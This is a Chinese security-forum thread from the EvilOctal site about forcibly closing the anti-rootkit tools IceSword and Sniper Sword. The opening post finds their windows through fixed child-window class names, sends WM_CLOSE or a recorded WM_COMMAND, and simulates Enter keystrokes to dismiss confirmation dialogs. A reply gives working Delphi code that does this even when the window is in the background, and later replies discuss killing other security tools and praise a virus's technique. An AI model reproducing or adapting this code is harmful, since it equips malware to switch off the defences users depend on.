[原创]菜菜的方法关闭冰刃和狙剑
文章作者:xlrtx ([url]http://hi.baidu.com/xlrtx[/url])信息来源:邪恶八进制信息安全团队([url]www.eviloctal.com[/url])
最近看炉子VB写的防杀和关冰刃受挫匪浅.
人家强人没办法,VB都可以做出这么强大的东西...
在郁闷半天后,突然飘过一个想法:
人家能做关冰刃,自己咋就不可以捏?高手有自己的思路,菜鸟也有自己的方法的..
条条大路通罗马的说=0=
以前看过个VB发消息关瑞星保护,主要思路是找到瑞星窗口句柄,在发消息关闭.
所有窗口都有自己的句柄,冰刃也一样.
那么我们就来按照这个思路来做一个关闭冰刃的程序吧!
第一步当然是拿冰某的句柄了
冰刃这个程序大家都知道,标题是随机的,那么说用findwindow函数从标题下手拿句柄的路子肯定是不可能的.
那么类名呢?从类名到句柄的方法也是可以的,IS的类名该不会是随机的了吧!
我拿出了Spy++看了下
让人郁闷的一幕发生了~
[attach]10977[/attach]
事实证明,冰刃不仅标题是随机的,类名也如此= =||
XE的IS啊..又一个希望破灭了||
再次受挫..
难道没别的方法了么= =?
本人顺手打开了冰刃的子窗口看了眼..
[attach]10978[/attach]
从图中可以看到,IS的子窗口的类名是固定的哈!
我又分析了IS的几个别版本发现子窗口类名完全相同~~~~
新的方法如下:
GetForegroundWindow拿到当前窗口句柄
FindWindowEx查找当前窗口的子窗口类名,如果查到子窗口类名符合冰刃的特点,那么这个程序一定是冰刃了哈~
拿到了冰刃的句柄,发个wm_close就可以了,对于之后那个是否关闭的提示框,模拟按键就可以无视掉了~
有了思路就自己动手用VB编了个关冰刃的程序,经过调试后,此方法成功关闭冰刃.
'==================================================================
呵呵,看来窗口句柄下手这个思路挺强大的哈.
这个方法连冰刃都可以关,那么关别的程序就应该更简单了吧~
我吧下一个目标放在了狙剑身上0 0....
还是老方法,先用S某分析狙剑,然后想办法拿到狙剑句柄
(由于本人比较懒,这里我测试的只是0117版本的)
[attach]10979[/attach]
大家可以看到狙剑的窗口类名貌似是固定的--"ClientWindow"
PS..狙剑的标题受版本号影响,所以从标题下手比较麻烦(其实标题下手也可以拿句柄,具体思路不说了先)
类名固定,所以用findwindow函数就可直接拿到句柄料..激动ing.
用过狙剑的人知道,关闭必须从右下角的小图标点右键按退出才可以.
实现这个很简单,关瑞星保护不就是这么个原理么?
接着用S某记录关闭狙剑的消息就可以了
在众多消息中找到wm_command
[attach]10980[/attach]
好了,句柄知道,消息也有,发个消息即可关闭我们的狙剑了呵呵^ ^
[attach]10981[/attach] IS的子窗口的类名是固定的??
不好意思问个菜点的问题
我怎么没在你传得图片上看出来啊? AfxMDIFrame42s就是一个子窗口的类名.
可以用Spy++看看,是固定的说. 哈哈.这个方法真强大。 甚至比那些底层的东西更好用.
好久前的查找窗口,模拟按键又出新思路了. 赞一个.:lol: 试用了楼主的程序关闭IceSword,然后看你的代码发现IceSword一定要在当前激活状态才可以关闭,我简单的改了下,使其可以在不激活时也可正常关闭,纯属无聊,请勿见怪:
==========我的实现=======================
procedure TForm1.Timer1Timer(Sender: TObject);
var
hwnd,hwnd1,hwnd2,hwnd3:Thandle;
begin
timer1.Enabled :=false;
hwnd:=GetWindow(Handle,GW_HWNDFIRST);
while hwnd<>0 do
begin
hwnd1:=findwindowEx(hwnd,0,pchar('AfxMDIFrame42s'),nil);
hwnd2:=findwindowEx(hwnd,0,pchar('AfxControlBar42s'),nil);
if hwnd1 <> 0 then
if hwnd2 <>0 then
begin
PostMessage(hwnd,WM_CLOSE,0,0);
hwnd3:=GetFocus;
if hwnd3<> hwnd then
setforegroundwindow(hwnd); //设为激活窗口
keybd_event(vk_return,MapVirtualKey(vk_return, 0 ),0,0);
keybd_event(vk_return, MapVirtualKey(vk_return, 0 ), KEYEVENTF_KEYUP , 0 );
break;
end;
hwnd:=GetWindow(hwnd,GW_HWNDNEXT);
end;
timer1.Enabled :=true;
end;
//////////////////////////////稍微改动////////////////////////////////////////////////////////
//得到指定窗体的焦点子窗体的句柄
function GetActiveControl(ParentWnd: HWND): HWND;
var
OtherThread,
Buffer: DWord;
idCurrThread: DWord;
begin
OtherThread:= GetWindowThreadProcessID(ParentWnd, @Buffer);
idCurrThread:= GetCurrentThreadID;
if AttachThreadInput(idCurrThread, OtherThread, True) then
begin
Result:= GetFocus;
AttachThreadInput(idCurrThread, OtherThread, False);
end
else
Result:= GetFocus;
end;
procedure TForm1.Timer1Timer(Sender: TObject);
var
hwnd,hwnd1,hwnd2,hwnd3:Thandle;
begin
timer1.Enabled :=false;
hwnd:=GetWindow(Handle,GW_HWNDFIRST);
while hwnd<>0 do
begin
hwnd1:=findwindowEx(hwnd,0,pchar('AfxMDIFrame42s'),nil);
hwnd2:=findwindowEx(hwnd,0,pchar('AfxControlBar42s'),nil);
if hwnd1 <> 0 then
if hwnd2 <>0 then
begin
PostMessage(hwnd,WM_CLOSE,0,0);
hwnd3:=GetActiveControl(hwnd);//得到该窗体的焦点子窗体句柄
PostMessage(hwnd3, WM_KEYDOWN, VK_RETURN, 0);
break;
end;
hwnd:=GetWindow(hwnd,GW_HWNDNEXT);
end;
timer1.Enabled :=true;
end; 恩, 不错谢谢, 但是我还没有搞清楚有些病毒是怎么关闭Wsyschec的, 我把一些相关的类名改了还是打不开Wsyschec,好像不是句柄呢, Wsyscheck有自我保护? 能否发个样本来。 学习“磁碟机”病毒直接消息DOS掉窗口比较好,只要是窗口总要有消息,有消息就一定被他给挂掉~~呵呵呵呵呵呵呵呵呵呵呵~~~ 呵,老了这个。谁能够把ZA防火墙的提示窗口关掉啊? 像这种方法是不可能被关掉的!!!:biggrin: [quote]原帖由 [i]qq263[/i] 于 2008-2-20 21:46 发表 [url=https://forum.eviloctal.com/redirect.php?goto=findpost&pid=138797&ptid=32232][img]images/common/back.gif[/img][/url]
呵,老了这个。谁能够把ZA防火墙的提示窗口关掉啊? 像这种方法是不可能被关掉的!!!:biggrin: [/quote]
"磁碟机"病毒可以做到~~
页:
[1]